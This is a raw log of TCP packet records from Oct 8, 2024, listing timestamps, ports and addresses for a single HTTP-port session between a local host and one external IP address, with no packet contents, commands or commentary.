Oct 8, 2024 08:22:07.512583971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.512583971 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.512604952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.512618065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.512633085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.512641907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.512655973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.512665033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.512676001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.512706041 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.512706041 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.512706041 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.512706041 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.512706041 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.512706041 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.512706041 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.512770891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.512775898 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.512782097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.512797117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.512804985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.512819052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.512828112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.512841940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.512846947 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.512854099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.512892008 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.512892008 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.512902021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.512911081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.512912989 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.512926102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.512934923 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.512947083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.512979984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.513031006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.513065100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.513073921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.513088942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.513097048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.513109922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.513118982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.513123989 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.513134956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.513144016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.513145924 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.513170958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.513180971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.513195992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.513214111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.513222933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.513236046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.513238907 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.513247967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.513264894 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.513281107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.513289928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.513305902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.513312101 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.513317108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.513343096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.513360977 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.513394117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.513423920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.513432026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.513442039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.513456106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.513464928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.513477087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.513487101 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.513497114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.513505936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.513510942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.513533115 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.513580084 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.513614893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.513623953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.513639927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.513648987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.513669014 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.513676882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.513689995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.513703108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.513715982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.513787985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.513796091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.513799906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.513808966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.513819933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.513825893 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.513825893 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.513839960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.513849020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.513853073 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.513866901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.513875008 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.513880014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.513895988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.513906956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.513916969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.513916969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.513942003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.513952971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.513977051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.513984919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.513995886 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.514007092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.514035940 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.514234066 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.549482107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.549491882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.549506903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.549519062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.549648046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.549666882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.549681902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.549699068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.549704075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.549719095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.549729109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.549742937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.549747944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.549765110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.549782991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.549782038 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.549782991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.549782991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.549782991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.549782991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.549782991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.549793005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.549812078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.549825907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.549844980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.549844027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.549854994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.549874067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.549880028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.549899101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.549912930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.549913883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.549927950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.549937010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.549942017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.549958944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.549976110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.549988985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.549999952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.550004959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.550017118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.550017118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.550050020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.550059080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.550057888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.550077915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.550090075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.550101042 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.550123930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.550134897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.550146103 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.550156116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.550168991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.550192118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.550220966 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.599981070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.599999905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.600013018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.600020885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.600040913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.600049019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.600063086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.600070953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.600085020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.600094080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.600105047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.600133896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.600142002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.600146055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.600150108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.600155115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.600238085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.600243092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.600245953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.600271940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.600310087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.600320101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.600331068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.600331068 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.600331068 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.600331068 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.600332022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.600332022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.600332022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.600332022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.600346088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.600359917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.600374937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.600439072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.600447893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.600450039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.600450039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.600450039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.600450039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.600450039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.600464106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.600471973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.600495100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.600500107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.600511074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.600517988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.600527048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.600537062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.600550890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.600553036 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.600578070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.600599051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.600608110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.600617886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.600666046 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.600761890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.600771904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.600785971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.600795984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.600810051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.600822926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.600825071 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.600825071 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.600836039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.600847960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.600852013 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.600882053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.600883007 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.600892067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.600907087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.600914001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.600927114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.600960016 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.600974083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.600982904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.601000071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.601007938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.601026058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.601057053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.601134062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.601144075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.601156950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.601166964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.601178885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.601188898 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.601193905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.601207972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.601212978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.601219893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.601233959 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.601257086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.601265907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.601275921 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.601283073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.601291895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.601303101 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.601306915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.601326942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.601352930 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.601360083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.601370096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.601373911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.601387978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.601399899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.601413965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.601427078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.601427078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.601443052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.601449013 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.601452112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.601494074 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.601569891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.601578951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.601593971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.601605892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.601619005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.601622105 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.601633072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.601646900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.601650000 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.601686954 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.601686954 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.637140036 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.637190104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.637202024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.637211084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.637298107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.637306929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.637321949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.637331963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.637336016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.637341022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.637403011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.637397051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.637397051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.637397051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.637397051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.637397051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.637411118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.637415886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.637466908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.637475967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.637480974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.637494087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.637504101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.637516975 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.637521982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.637531042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.637540102 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.637567043 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.637583971 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.638293028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.638304949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.638317108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.638326883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.638362885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.638403893 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.898974895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.898976088 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:07.904052019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.904084921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.904095888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.904122114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:07.904135942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:08.622905016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:08.623106003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:08.824889898 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:08.824891090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:08.829909086 CEST	80	49730	185.215.113.37	192.168.2.4
